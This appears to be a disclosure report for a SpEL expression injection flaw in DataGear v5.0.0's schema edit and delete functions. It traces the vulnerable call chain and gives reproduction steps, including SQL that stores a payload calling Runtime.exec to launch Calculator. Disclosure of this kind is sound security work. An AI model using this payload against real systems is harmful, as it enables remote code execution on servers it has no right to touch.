There exists SpEL Expression Injection Vulnerability in the Editing and Deletion functions of the Data Schema Page

### **Description**

DataGear is an open source and free data visualization analysis platform. You can freely create any data dashboard you want. It supports access to multiple data sources such as SQL, CSV, Excel, HTTP interface, JSON, etc.

DataGear v5.0.0 has a SpEL expression injection vulnerability leading to remote code execution in the Editing and Deletion functions of the Data Schema Page

The affected API interfaces are `/{schemaId}/{tableName}/edit` and `/{schemaId}/{tableName}/delete`

### Vulnerable code

The `org.datagear.persistence.support.ConversionSqlParamValueMapper#evaluateVariableExpression` function in ConversionSqlParamValueMapper.java Parsing user-controllable SpEL expressions without any filtering conditions, thus causing SpEL expression injection vulnerabilities.

![](https://foruda.gitee.com/images/1721761629437257309/9b34835e_13665338.png "屏幕截图")

The calling chain of functions is as follows

`/{schemaId}/{tableName}/edit`

```java
DefaultPersistenceManager#get ->
	DefaultPersistenceManager#buildUniqueRecordCondition ->
		DefaultPersistenceManager#mapToSqlParamValue -> 
			ConversionSqlParamValueMapper#map -> 
				ConversionSqlParamValueMapper#resolveExpressionIf ->
					ConversionSqlParamValueMapper#evaluateVariableExpressions -> 
						ConversionSqlParamValueMapper#evaluateVariableExpression 
```

`/{schemaId}/{tableName}/delete`

```java
DefaultPersistenceManager#delete ->
	DefaultPersistenceManager#buildUniqueRecordCondition ->
		DefaultPersistenceManager#mapToSqlParamValue -> 
			ConversionSqlParamValueMapper#map -> 
				ConversionSqlParamValueMapper#resolveExpressionIf ->
					ConversionSqlParamValueMapper#evaluateVariableExpressions -> 
						ConversionSqlParamValueMapper#evaluateVariableExpression 
```

### How to reproduced

First, add the data source as follows

![输入图片说明](https://foruda.gitee.com/images/1721761708556448402/62af824d_13665338.png "屏幕截图")

Then, add the following data to mysql corresponding to the URL in the previous step

**Reference Link:** https://github.com/crumbledwall/CVE-2024-37759_PoC

```java
CREATE DATABASE evil;

CREATE TABLE `evil` (
  `name` varchar(555) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('open -a Calculator')}");
```

The SpEL code can be like this, the expected result is to open the calculator program on your computer

Then click the "edit" or "delete" button, the following SpEL code will be executed

```java
#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('open -a Calculator')}
// MacOS Calculator
```

![输入图片说明](https://foruda.gitee.com/images/1721762073118481479/e5bdd95a_13665338.png "屏幕截图")

### Versions

Datagear ≤ V5.0.0

### Reporter

https://github.com/nerowander

GVP DataGear/datagear

内容风险标识

评论 (1)

GVPDataGear/datagear

内容风险标识